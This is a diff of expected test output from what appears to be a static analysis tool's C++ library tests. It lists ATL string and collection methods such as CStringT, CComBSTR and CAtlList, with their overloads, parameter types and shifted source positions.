+| atl.cpp:1061:10:1061:21 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 1 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (UINT,...) | CStringT | Format | 1 |
+| atl.cpp:1061:10:1061:21 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (PCXSTR,...) | CStringT | Format | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (PCXSTR,...) | CStringT | FormatMessage | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 0 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | AppendFormat | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | Format | 0 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | Format | 1 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 0 |
+| atl.cpp:1062:10:1062:21 | AppendFormat | (UINT,...) | CStringT | FormatMessage | 1 |
+| atl.cpp:1070:9:1070:14 | Insert | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
+| atl.cpp:1070:9:1070:14 | Insert | (const CStringT &,PCXSTR) |  | operator+ | 1 |
+| atl.cpp:1070:9:1070:14 | Insert | (int,PCXSTR) | CStringT | Insert | 0 |
+| atl.cpp:1070:9:1070:14 | Insert | (int,PCXSTR) | CStringT | Insert | 1 |
+| atl.cpp:1071:9:1071:14 | Insert | (XCHAR,XCHAR) | CStringT | Replace | 1 |
+| atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 0 |
+| atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 1 |
+| atl.cpp:1075:10:1075:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 |
+| atl.cpp:1075:10:1075:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
+| atl.cpp:1079:14:1079:16 | Mid | (LPCOLESTR,int) | CComBSTR | Append | 1 |
+| atl.cpp:1079:14:1079:16 | Mid | (char,int) | CStringT | CStringT | 1 |
+| atl.cpp:1079:14:1079:16 | Mid | (const XCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1079:14:1079:16 | Mid | (const YCHAR *,int) | CStringT | CStringT | 1 |
+| atl.cpp:1079:14:1079:16 | Mid | (wchar_t,int) | CStringT | CStringT | 1 |
+| atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 0 |
+| atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
+| atl.cpp:1081:9:1081:15 | Replace | (const CStringT &,PCXSTR) |  | operator+ | 1 |
+| atl.cpp:1081:9:1081:15 | Replace | (int,PCXSTR) | CStringT | Insert | 1 |
+| atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 0 |
+| atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 1 |
+| atl.cpp:1082:9:1082:15 | Replace | (int,XCHAR) | CStringT | Insert | 1 |
+| atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:1086:14:1086:26 | SpanIncluding | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:1086:14:1086:26 | SpanIncluding | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:1086:14:1086:26 | SpanIncluding | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:1088:15:1088:18 | Trim | (XCHAR) | CStringT | operator= | 0 |
+| atl.cpp:1089:15:1089:18 | Trim | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:1089:15:1089:18 | Trim | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:1089:15:1089:18 | Trim | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:1091:15:1091:22 | TrimLeft | (XCHAR) | CStringT | operator= | 0 |
+| atl.cpp:1092:15:1092:22 | TrimLeft | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:1092:15:1092:22 | TrimLeft | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:1092:15:1092:22 | TrimLeft | (PCXSTR) | CStringT | operator= | 0 |
+| atl.cpp:1094:15:1094:23 | TrimRight | (XCHAR) | CStringT | operator= | 0 |
+| atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) |  | operator+= | 0 |
+| atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CSimpleStringT | operator+= | 0 |
+| atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CStringT | operator= | 0 |
 | constructor_delegation.cpp:10:2:10:8 | MyValue | (LPCOLESTR,int) | CComBSTR | Append | 1 |
 | constructor_delegation.cpp:10:2:10:8 | MyValue | (char,int) | CStringT | CStringT | 1 |
 | constructor_delegation.cpp:10:2:10:8 | MyValue | (const XCHAR *,int) | CStringT | CStringT | 1 |
@@ -907,313 +907,313 @@ getParameterTypeName
 | atl.cpp:4:8:4:11 | sink | 0 | ... |
 | atl.cpp:29:8:29:8 | operator= | 0 | __POSITION && |
 | atl.cpp:29:8:29:8 | operator= | 0 | const __POSITION & |
-| atl.cpp:51:16:51:16 | operator= | 0 | const tagSAFEARRAYBOUND & |
-| atl.cpp:51:16:51:16 | operator= | 0 | tagSAFEARRAYBOUND && |
-| atl.cpp:56:16:56:16 | operator= | 0 | const tagVARIANT & |
-| atl.cpp:56:16:56:16 | operator= | 0 | tagVARIANT && |
-| atl.cpp:60:16:60:16 | operator= | 0 | const tagSAFEARRAY & |
-| atl.cpp:60:16:60:16 | operator= | 0 | tagSAFEARRAY && |
-| atl.cpp:69:8:69:8 | _U_STRINGorID | 0 | _U_STRINGorID && |
-| atl.cpp:69:8:69:8 | _U_STRINGorID | 0 | const _U_STRINGorID & |
-| atl.cpp:69:8:69:8 | operator= | 0 | _U_STRINGorID && |
-| atl.cpp:69:8:69:8 | operator= | 0 | const _U_STRINGorID & |
-| atl.cpp:70:3:70:15 | _U_STRINGorID | 0 | UINT |
-| atl.cpp:70:3:70:15 | _U_STRINGorID | 0 | unsigned int |
-| atl.cpp:71:3:71:15 | _U_STRINGorID | 0 | LPCTSTR |
-| atl.cpp:71:3:71:15 | _U_STRINGorID | 0 | const char * |
-| atl.cpp:195:10:195:12 | Add | 0 | INARGTYPclass:0 |
-| atl.cpp:197:10:197:15 | Append | 0 | const CAtlArray & |
-| atl.cpp:198:8:198:11 | Copy | 0 | const CAtlArray & |
-| atl.cpp:200:6:200:10 | GetAt | 0 | size_t |
-| atl.cpp:204:8:204:20 | InsertArrayAt | 0 | size_t |
-| atl.cpp:204:8:204:20 | InsertArrayAt | 1 | const CAtlArray * |
-| atl.cpp:205:8:205:15 | InsertAt | 0 | size_t |
-| atl.cpp:205:8:205:15 | InsertAt | 1 | INARGTYPclass:0 |
-| atl.cpp:205:8:205:15 | InsertAt | 2 | size_t |
-| atl.cpp:210:8:210:16 | SetAtGrow | 0 | size_t |
-| atl.cpp:210:8:210:16 | SetAtGrow | 1 | INARGTYPclass:0 |
-| atl.cpp:212:6:212:15 | operator[] | 0 | size_t |
-| atl.cpp:258:3:258:10 | CAtlList | 0 | UINT |
-| atl.cpp:258:3:258:10 | CAtlList | 0 | UINT |
-| atl.cpp:258:3:258:10 | CAtlList | 0 | unsigned int |
-| atl.cpp:258:3:258:10 | CAtlList | 0 | unsigned int |
-| atl.cpp:261:12:261:18 | AddHead | 0 | INARGTYPclass:0 |
-| atl.cpp:261:12:261:18 | AddHead | 0 | INARGTYPclass:0 |
-| atl.cpp:262:8:262:18 | AddHeadList | 0 | const CAtlList * |
-| atl.cpp:262:8:262:18 | AddHeadList | 0 | const CAtlList * |
-| atl.cpp:264:12:264:18 | AddTail | 0 | INARGTYPclass:0 |
-| atl.cpp:264:12:264:18 | AddTail | 0 | INARGTYPclass:0 |
-| atl.cpp:265:8:265:18 | AddTailList | 0 | const CAtlList * |
-| atl.cpp:265:8:265:18 | AddTailList | 0 | const CAtlList * |
-| atl.cpp:266:12:266:15 | Find | 0 | INARGTYPclass:0 |
-| atl.cpp:266:12:266:15 | Find | 0 | INARGTYPclass:0 |
-| atl.cpp:266:12:266:15 | Find | 1 | POSITION |
-| atl.cpp:266:12:266:15 | Find | 1 | POSITION |
-| atl.cpp:266:12:266:15 | Find | 1 | __POSITION * |
-| atl.cpp:266:12:266:15 | Find | 1 | __POSITION * |
-| atl.cpp:267:12:267:20 | FindIndex | 0 | size_t |
-| atl.cpp:267:12:267:20 | FindIndex | 0 | size_t |
-| atl.cpp:268:6:268:10 | GetAt | 0 | POSITION |
-| atl.cpp:268:6:268:10 | GetAt | 0 | POSITION |
-| atl.cpp:268:6:268:10 | GetAt | 0 | __POSITION * |
-| atl.cpp:268:6:268:10 | GetAt | 0 | __POSITION * |
-| atl.cpp:281:12:281:22 | InsertAfter | 0 | POSITION |
-| atl.cpp:281:12:281:22 | InsertAfter | 0 | POSITION |
-| atl.cpp:281:12:281:22 | InsertAfter | 0 | __POSITION * |
-| atl.cpp:281:12:281:22 | InsertAfter | 0 | __POSITION * |
-| atl.cpp:281:12:281:22 | InsertAfter | 1 | INARGTYPclass:0 |
-| atl.cpp:281:12:281:22 | InsertAfter | 1 | INARGTYPclass:0 |
-| atl.cpp:282:12:282:23 | InsertBefore | 0 | POSITION |
-| atl.cpp:282:12:282:23 | InsertBefore | 0 | POSITION |
-| atl.cpp:282:12:282:23 | InsertBefore | 0 | __POSITION * |
-| atl.cpp:282:12:282:23 | InsertBefore | 0 | __POSITION * |
-| atl.cpp:282:12:282:23 | InsertBefore | 1 | INARGTYPclass:0 |
-| atl.cpp:282:12:282:23 | InsertBefore | 1 | INARGTYPclass:0 |
-| atl.cpp:292:8:292:12 | SetAt | 0 | POSITION |
-| atl.cpp:292:8:292:12 | SetAt | 0 | POSITION |
-| atl.cpp:292:8:292:12 | SetAt | 0 | __POSITION * |
-| atl.cpp:292:8:292:12 | SetAt | 0 | __POSITION * |
-| atl.cpp:292:8:292:12 | SetAt | 1 | INARGTYPclass:0 |
-| atl.cpp:292:8:292:12 | SetAt | 1 | INARGTYPclass:0 |
-| atl.cpp:402:8:402:8 | operator= | 0 | IUnknown && |
-| atl.cpp:402:8:402:8 | operator= | 0 | const IUnknown & |
-| atl.cpp:404:8:404:8 | operator= | 0 | ISequentialStream && |
-| atl.cpp:404:8:404:8 | operator= | 0 | const ISequentialStream & |
-| atl.cpp:406:8:406:8 | operator= | 0 | IStream && |
-| atl.cpp:406:8:406:8 | operator= | 0 | const IStream & |
-| atl.cpp:408:8:408:8 | operator= | 0 | const CComBSTR & |
-| atl.cpp:410:3:410:10 | CComBSTR | 0 | const CComBSTR & |
-| atl.cpp:411:3:411:10 | CComBSTR | 0 | int |
-| atl.cpp:412:3:412:10 | CComBSTR | 0 | int |
-| atl.cpp:412:3:412:10 | CComBSTR | 1 | LPCOLESTR |
-| atl.cpp:412:3:412:10 | CComBSTR | 1 | const wchar_t * |
-| atl.cpp:413:3:413:10 | CComBSTR | 0 | int |
-| atl.cpp:413:3:413:10 | CComBSTR | 1 | LPCSTR |
-| atl.cpp:413:3:413:10 | CComBSTR | 1 | const char * |
-| atl.cpp:414:3:414:10 | CComBSTR | 0 | LPCOLESTR |
-| atl.cpp:414:3:414:10 | CComBSTR | 0 | const wchar_t * |
-| atl.cpp:415:3:415:10 | CComBSTR | 0 | LPCSTR |
-| atl.cpp:415:3:415:10 | CComBSTR | 0 | const char * |
-| atl.cpp:416:3:416:10 | CComBSTR | 0 | CComBSTR && |
-| atl.cpp:419:11:419:16 | Append | 0 | const CComBSTR & |
-| atl.cpp:420:11:420:16 | Append | 0 | wchar_t |
-| atl.cpp:421:11:421:16 | Append | 0 | char |
-| atl.cpp:422:11:422:16 | Append | 0 | LPCOLESTR |
-| atl.cpp:422:11:422:16 | Append | 0 | const wchar_t * |
-| atl.cpp:423:11:423:16 | Append | 0 | LPCSTR |
-| atl.cpp:423:11:423:16 | Append | 0 | const char * |
-| atl.cpp:424:11:424:16 | Append | 0 | LPCOLESTR |
-| atl.cpp:424:11:424:16 | Append | 0 | const wchar_t * |
-| atl.cpp:424:11:424:16 | Append | 1 | int |
-| atl.cpp:425:11:425:20 | AppendBSTR | 0 | BSTR |
-| atl.cpp:425:11:425:20 | AppendBSTR | 0 | wchar_t * |
-| atl.cpp:426:11:426:21 | AppendBytes | 0 | const char * |
-| atl.cpp:426:11:426:21 | AppendBytes | 1 | int |
-| atl.cpp:427:11:427:21 | ArrayToBSTR | 0 | const SAFEARRAY * |
-| atl.cpp:427:11:427:21 | ArrayToBSTR | 0 | const tagSAFEARRAY * |
-| atl.cpp:428:11:428:20 | AssignBSTR | 0 | const BSTR |
-| atl.cpp:428:11:428:20 | AssignBSTR | 0 | const wchar_t * |
-| atl.cpp:429:8:429:13 | Attach | 0 | BSTR |
-| atl.cpp:429:8:429:13 | Attach | 0 | wchar_t * |
-| atl.cpp:430:11:430:21 | BSTRToArray | 0 | LPSAFEARRAY * |
-| atl.cpp:430:11:430:21 | BSTRToArray | 0 | tagSAFEARRAY ** |
-| atl.cpp:433:11:433:16 | CopyTo | 0 | BSTR * |
-| atl.cpp:433:11:433:16 | CopyTo | 0 | wchar_t ** |
-| atl.cpp:435:11:435:16 | CopyTo | 0 | VARIANT * |
-| atl.cpp:435:11:435:16 | CopyTo | 0 | tagVARIANT * |
-| atl.cpp:439:8:439:17 | LoadString | 0 | HINSTANCE |
-| atl.cpp:439:8:439:17 | LoadString | 0 | void * |
-| atl.cpp:439:8:439:17 | LoadString | 1 | UINT |
-| atl.cpp:439:8:439:17 | LoadString | 1 | unsigned int |
-| atl.cpp:440:8:440:17 | LoadString | 0 | UINT |
-| atl.cpp:440:8:440:17 | LoadString | 0 | unsigned int |
-| atl.cpp:441:11:441:24 | ReadFromStream | 0 | IStream * |
-| atl.cpp:443:11:443:23 | WriteToStream | 0 | IStream * |
-| atl.cpp:448:13:448:22 | operator+= | 0 | const CComBSTR & |
-| atl.cpp:449:13:449:22 | operator+= | 0 | LPCOLESTR |
-| atl.cpp:449:13:449:22 | operator+= | 0 | const wchar_t * |
-| atl.cpp:539:3:539:15 | CComSafeArray | 0 | const SAFEARRAY * |
-| atl.cpp:539:3:539:15 | CComSafeArray | 0 | const tagSAFEARRAY * |
-| atl.cpp:543:11:543:13 | Add | 0 | const SAFEARRAY * |
-| atl.cpp:543:11:543:13 | Add | 0 | const tagSAFEARRAY * |
-| atl.cpp:545:11:545:13 | Add | 0 | const class:0 & |
-| atl.cpp:545:11:545:13 | Add | 1 | BOOL |
-| atl.cpp:545:11:545:13 | Add | 1 | bool |
-| atl.cpp:553:6:553:10 | GetAt | 0 | LONG |
-| atl.cpp:553:6:553:10 | GetAt | 0 | long |
-| atl.cpp:564:11:564:15 | SetAt | 0 | LONG |
-| atl.cpp:564:11:564:15 | SetAt | 0 | long |
-| atl.cpp:564:11:564:15 | SetAt | 1 | const class:0 & |
-| atl.cpp:564:11:564:15 | SetAt | 2 | BOOL |
-| atl.cpp:564:11:564:15 | SetAt | 2 | bool |
-| atl.cpp:566:6:566:15 | operator[] | 0 | long |
-| atl.cpp:567:6:567:15 | operator[] | 0 | int |
-| atl.cpp:611:3:611:8 | CPathT | 0 | PCXSTR |
-| atl.cpp:611:3:611:8 | CPathT | 0 | class:0 |
-| atl.cpp:612:3:612:8 | CPathT | 0 | const CPathT & |
-| atl.cpp:616:8:616:19 | AddExtension | 0 | PCXSTR |
-| atl.cpp:616:8:616:19 | AddExtension | 0 | class:0 |
-| atl.cpp:617:8:617:13 | Append | 0 | PCXSTR |
-| atl.cpp:617:8:617:13 | Append | 0 | class:0 |
-| atl.cpp:620:8:620:14 | Combine | 0 | PCXSTR |
-| atl.cpp:620:8:620:14 | Combine | 0 | class:0 |
-| atl.cpp:620:8:620:14 | Combine | 1 | PCXSTR |
-| atl.cpp:620:8:620:14 | Combine | 1 | class:0 |
-| atl.cpp:621:22:621:33 | CommonPrefix | 0 | PCXSTR |
-| atl.cpp:621:22:621:33 | CommonPrefix | 0 | class:0 |
-| atl.cpp:658:23:658:32 | operator+= | 0 | PCXSTR |
-| atl.cpp:658:23:658:32 | operator+= | 0 | class:0 |
-| atl.cpp:718:8:718:10 | Add | 0 | const class:0 & |
-| atl.cpp:719:7:719:10 | Find | 0 | const class:0 & |
-| atl.cpp:730:6:730:15 | operator[] | 0 | int |
-| atl.cpp:731:21:731:29 | operator= | 0 | const CSimpleArray & |
-| atl.cpp:764:8:764:10 | Add | 0 | const class:0 & |
-| atl.cpp:764:8:764:10 | Add | 1 | const class:1 & |
-| atl.cpp:765:7:765:13 | FindKey | 0 | const class:0 & |
-| atl.cpp:766:7:766:13 | FindVal | 0 | const class:1 & |
-| atl.cpp:769:9:769:18 | GetValueAt | 0 | int |
-| atl.cpp:770:8:770:13 | Lookup | 0 | const class:0 & |
-| atl.cpp:774:8:774:20 | ReverseLookup | 0 | const class:1 & |
-| atl.cpp:775:8:775:12 | SetAt | 0 | const class:0 & |
-| atl.cpp:775:8:775:12 | SetAt | 1 | const class:1 & |
-| atl.cpp:776:8:776:17 | SetAtIndex | 0 | int |
-| atl.cpp:776:8:776:17 | SetAtIndex | 1 | const class:0 & |
-| atl.cpp:776:8:776:17 | SetAtIndex | 2 | const class:1 & |
-| atl.cpp:815:9:815:17 | operator= | 0 | const CUrl & |
-| atl.cpp:817:3:817:6 | CUrl | 0 | const CUrl & |
-| atl.cpp:820:15:820:26 | Canonicalize | 0 | DWORD |
-| atl.cpp:820:15:820:26 | Canonicalize | 0 | unsigned long |
-| atl.cpp:823:8:823:15 | CrackUrl | 0 | LPCTSTR |
-| atl.cpp:823:8:823:15 | CrackUrl | 0 | const char * |
-| atl.cpp:823:8:823:15 | CrackUrl | 1 | DWORD |
-| atl.cpp:823:8:823:15 | CrackUrl | 1 | unsigned long |
-| atl.cpp:824:15:824:23 | CreateUrl | 0 | LPTSTR |
-| atl.cpp:824:15:824:23 | CreateUrl | 0 | char * |
-| atl.cpp:824:15:824:23 | CreateUrl | 1 | DWORD * |
-| atl.cpp:824:15:824:23 | CreateUrl | 1 | unsigned long * |
-| atl.cpp:824:15:824:23 | CreateUrl | 2 | DWORD |
-| atl.cpp:824:15:824:23 | CreateUrl | 2 | unsigned long |
-| atl.cpp:841:15:841:26 | SetExtraInfo | 0 | LPCTSTR |
-| atl.cpp:841:15:841:26 | SetExtraInfo | 0 | const char * |
-| atl.cpp:842:15:842:25 | SetHostName | 0 | LPCTSTR |
-| atl.cpp:842:15:842:25 | SetHostName | 0 | const char * |
-| atl.cpp:843:15:843:25 | SetPassword | 0 | LPCTSTR |
-| atl.cpp:843:15:843:25 | SetPassword | 0 | const char * |
-| atl.cpp:844:15:844:27 | SetPortNumber | 0 | ATL_URL_PORT |
-| atl.cpp:844:15:844:27 | SetPortNumber | 0 | unsigned short |
-| atl.cpp:845:15:845:23 | SetScheme | 0 | ATL_URL_SCHEME |
-| atl.cpp:846:15:846:27 | SetSchemeName | 0 | LPCTSTR |
-| atl.cpp:846:15:846:27 | SetSchemeName | 0 | const char * |
-| atl.cpp:847:15:847:24 | SetUrlPath | 0 | LPCTSTR |
-| atl.cpp:847:15:847:24 | SetUrlPath | 0 | const char * |
-| atl.cpp:848:15:848:25 | SetUserName | 0 | LPCTSTR |
-| atl.cpp:848:15:848:25 | SetUserName | 0 | const char * |
-| atl.cpp:903:8:903:8 | operator= | 0 | IAtlStringMgr && |
-| atl.cpp:903:8:903:8 | operator= | 0 | const IAtlStringMgr & |
-| atl.cpp:914:3:914:16 | CSimpleStringT | 0 | const XCHAR * |
-| atl.cpp:914:3:914:16 | CSimpleStringT | 0 | const char * |
-| atl.cpp:914:3:914:16 | CSimpleStringT | 1 | int |
-| atl.cpp:914:3:914:16 | CSimpleStringT | 2 | IAtlStringMgr * |
-| atl.cpp:915:3:915:16 | CSimpleStringT | 0 | PCXSTR |
-| atl.cpp:915:3:915:16 | CSimpleStringT | 0 | const class:0 * |
-| atl.cpp:915:3:915:16 | CSimpleStringT | 1 | IAtlStringMgr * |
-| atl.cpp:916:3:916:16 | CSimpleStringT | 0 | const CSimpleStringT & |
-| atl.cpp:920:8:920:13 | Append | 0 | const CSimpleStringT & |
-| atl.cpp:921:8:921:13 | Append | 0 | PCXSTR |
-| atl.cpp:921:8:921:13 | Append | 0 | const class:0 * |
-| atl.cpp:921:8:921:13 | Append | 1 | int |
-| atl.cpp:922:8:922:13 | Append | 0 | PCXSTR |
-| atl.cpp:922:8:922:13 | Append | 0 | const class:0 * |
-| atl.cpp:926:15:926:23 | CopyChars | 0 | XCHAR * |
-| atl.cpp:926:15:926:23 | CopyChars | 0 | char * |
-| atl.cpp:926:15:926:23 | CopyChars | 1 | const XCHAR * |
-| atl.cpp:926:15:926:23 | CopyChars | 1 | const char * |
-| atl.cpp:926:15:926:23 | CopyChars | 2 | int |
-| atl.cpp:927:15:927:23 | CopyChars | 0 | XCHAR * |
-| atl.cpp:927:15:927:23 | CopyChars | 0 | char * |
-| atl.cpp:927:15:927:23 | CopyChars | 1 | size_t |
-| atl.cpp:927:15:927:23 | CopyChars | 2 | const XCHAR * |
-| atl.cpp:927:15:927:23 | CopyChars | 2 | const char * |
-| atl.cpp:927:15:927:23 | CopyChars | 3 | int |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | 0 | XCHAR * |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | 0 | char * |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | 1 | const XCHAR * |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | 1 | const char * |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | 2 | int |
-| atl.cpp:930:9:930:13 | GetAt | 0 | int |
-| atl.cpp:931:9:931:17 | GetBuffer | 0 | int |
-| atl.cpp:933:9:933:26 | GetBufferSetLength | 0 | int |
-| atl.cpp:937:8:937:12 | SetAt | 0 | int |
-| atl.cpp:937:8:937:12 | SetAt | 1 | XCHAR |
-| atl.cpp:937:8:937:12 | SetAt | 1 | char |
-| atl.cpp:938:8:938:16 | SetString | 0 | PCXSTR |
-| atl.cpp:938:8:938:16 | SetString | 0 | const class:0 * |
-| atl.cpp:938:8:938:16 | SetString | 1 | int |
-| atl.cpp:939:8:939:16 | SetString | 0 | PCXSTR |
-| atl.cpp:939:8:939:16 | SetString | 0 | const class:0 * |
-| atl.cpp:941:9:941:18 | operator[] | 0 | int |
-| atl.cpp:1035:3:1035:10 | CStringT | 0 | const VARIANT & |
-| atl.cpp:1035:3:1035:10 | CStringT | 0 | const tagVARIANT & |
-| atl.cpp:1036:3:1036:10 | CStringT | 0 | const VARIANT & |
-| atl.cpp:1036:3:1036:10 | CStringT | 0 | const tagVARIANT & |
-| atl.cpp:1036:3:1036:10 | CStringT | 1 | IAtlStringMgr * |
-| atl.cpp:1037:3:1037:10 | CStringT | 0 | const CStringT & |
-| atl.cpp:1041:3:1041:10 | CStringT | 0 | LPCSTR |
-| atl.cpp:1041:3:1041:10 | CStringT | 0 | const char * |
-| atl.cpp:1041:3:1041:10 | CStringT | 1 | IAtlStringMgr * |
-| atl.cpp:1042:3:1042:10 | CStringT | 0 | LPCWSTR |
-| atl.cpp:1042:3:1042:10 | CStringT | 0 | const wchar_t * |
-| atl.cpp:1042:3:1042:10 | CStringT | 1 | IAtlStringMgr * |
-| atl.cpp:1044:3:1044:10 | CStringT | 0 | char * |
-| atl.cpp:1045:3:1045:10 | CStringT | 0 | unsigned char * |
-| atl.cpp:1046:3:1046:10 | CStringT | 0 | wchar_t * |
-| atl.cpp:1048:3:1048:10 | CStringT | 0 | char |
-| atl.cpp:1048:3:1048:10 | CStringT | 1 | int |
-| atl.cpp:1049:3:1049:10 | CStringT | 0 | wchar_t |
-| atl.cpp:1049:3:1049:10 | CStringT | 1 | int |
-| atl.cpp:1060:8:1060:19 | AppendFormat | 0 | PCXSTR |
-| atl.cpp:1060:8:1060:19 | AppendFormat | 1 | ... |
-| atl.cpp:1061:8:1061:19 | AppendFormat | 0 | UINT |
-| atl.cpp:1061:8:1061:19 | AppendFormat | 0 | unsigned int |
-| atl.cpp:1061:8:1061:19 | AppendFormat | 1 | ... |
-| atl.cpp:1069:7:1069:12 | Insert | 0 | int |
-| atl.cpp:1069:7:1069:12 | Insert | 1 | PCXSTR |
-| atl.cpp:1070:7:1070:12 | Insert | 0 | int |
-| atl.cpp:1070:7:1070:12 | Insert | 1 | XCHAR |
-| atl.cpp:1070:7:1070:12 | Insert | 1 | class:0 |
-| atl.cpp:1071:12:1071:15 | Left | 0 | int |
-| atl.cpp:1074:8:1074:17 | LoadString | 0 | UINT |
-| atl.cpp:1074:8:1074:17 | LoadString | 0 | unsigned int |
-| atl.cpp:1078:12:1078:14 | Mid | 0 | int |
-| atl.cpp:1078:12:1078:14 | Mid | 1 | int |
-| atl.cpp:1080:7:1080:13 | Replace | 0 | PCXSTR |
-| atl.cpp:1080:7:1080:13 | Replace | 1 | PCXSTR |
-| atl.cpp:1081:7:1081:13 | Replace | 0 | XCHAR |
-| atl.cpp:1081:7:1081:13 | Replace | 0 | class:0 |
-| atl.cpp:1081:7:1081:13 | Replace | 1 | XCHAR |
-| atl.cpp:1081:7:1081:13 | Replace | 1 | class:0 |
-| atl.cpp:1082:12:1082:16 | Right | 0 | int |
-| atl.cpp:1083:8:1083:19 | SetSysString | 0 | BSTR * |
-| atl.cpp:1083:8:1083:19 | SetSysString | 0 | wchar_t ** |
-| atl.cpp:1084:12:1084:24 | SpanExcluding | 0 | PCXSTR |
-| atl.cpp:1085:12:1085:24 | SpanIncluding | 0 | PCXSTR |
-| atl.cpp:1086:12:1086:19 | Tokenize | 0 | PCXSTR |
-| atl.cpp:1086:12:1086:19 | Tokenize | 1 | int & |
-| atl.cpp:1087:13:1087:16 | Trim | 0 | XCHAR |
-| atl.cpp:1087:13:1087:16 | Trim | 0 | class:0 |
-| atl.cpp:1088:13:1088:16 | Trim | 0 | PCXSTR |
-| atl.cpp:1090:13:1090:20 | TrimLeft | 0 | XCHAR |
-| atl.cpp:1090:13:1090:20 | TrimLeft | 0 | class:0 |
-| atl.cpp:1091:13:1091:20 | TrimLeft | 0 | PCXSTR |
-| atl.cpp:1093:13:1093:21 | TrimRight | 0 | XCHAR |
-| atl.cpp:1093:13:1093:21 | TrimRight | 0 | class:0 |
-| atl.cpp:1094:13:1094:21 | TrimRight | 0 | PCXSTR |
-| atl.cpp:1214:8:1214:8 | operator= | 0 | CStringData && |
-| atl.cpp:1214:8:1214:8 | operator= | 0 | const CStringData & |
-| atl.cpp:1230:3:1230:10 | CStrBufT | 0 | StringType & |
-| atl.cpp:1230:3:1230:10 | CStrBufT | 1 | int |
-| atl.cpp:1230:3:1230:10 | CStrBufT | 2 | DWORD |
-| atl.cpp:1230:3:1230:10 | CStrBufT | 2 | unsigned long |
+| atl.cpp:52:18:52:18 | operator= | 0 | const tagSAFEARRAYBOUND & |
+| atl.cpp:52:18:52:18 | operator= | 0 | tagSAFEARRAYBOUND && |
+| atl.cpp:57:18:57:18 | operator= | 0 | const tagVARIANT & |
+| atl.cpp:57:18:57:18 | operator= | 0 | tagVARIANT && |
+| atl.cpp:61:18:61:18 | operator= | 0 | const tagSAFEARRAY & |
+| atl.cpp:61:18:61:18 | operator= | 0 | tagSAFEARRAY && |
+| atl.cpp:70:10:70:10 | _U_STRINGorID | 0 | _U_STRINGorID && |
+| atl.cpp:70:10:70:10 | _U_STRINGorID | 0 | const _U_STRINGorID & |
+| atl.cpp:70:10:70:10 | operator= | 0 | _U_STRINGorID && |
+| atl.cpp:70:10:70:10 | operator= | 0 | const _U_STRINGorID & |
+| atl.cpp:71:5:71:17 | _U_STRINGorID | 0 | UINT |
+| atl.cpp:71:5:71:17 | _U_STRINGorID | 0 | unsigned int |
+| atl.cpp:72:5:72:17 | _U_STRINGorID | 0 | LPCTSTR |
+| atl.cpp:72:5:72:17 | _U_STRINGorID | 0 | const char * |
+| atl.cpp:196:12:196:14 | Add | 0 | INARGTYPclass:0 |
+| atl.cpp:198:12:198:17 | Append | 0 | const CAtlArray & |
+| atl.cpp:199:10:199:13 | Copy | 0 | const CAtlArray & |
+| atl.cpp:201:8:201:12 | GetAt | 0 | size_t |
+| atl.cpp:205:10:205:22 | InsertArrayAt | 0 | size_t |
+| atl.cpp:205:10:205:22 | InsertArrayAt | 1 | const CAtlArray * |
+| atl.cpp:206:10:206:17 | InsertAt | 0 | size_t |
+| atl.cpp:206:10:206:17 | InsertAt | 1 | INARGTYPclass:0 |
+| atl.cpp:206:10:206:17 | InsertAt | 2 | size_t |
+| atl.cpp:211:10:211:18 | SetAtGrow | 0 | size_t |
+| atl.cpp:211:10:211:18 | SetAtGrow | 1 | INARGTYPclass:0 |
+| atl.cpp:213:8:213:17 | operator[] | 0 | size_t |
+| atl.cpp:259:5:259:12 | CAtlList | 0 | UINT |
+| atl.cpp:259:5:259:12 | CAtlList | 0 | UINT |
+| atl.cpp:259:5:259:12 | CAtlList | 0 | unsigned int |
+| atl.cpp:259:5:259:12 | CAtlList | 0 | unsigned int |
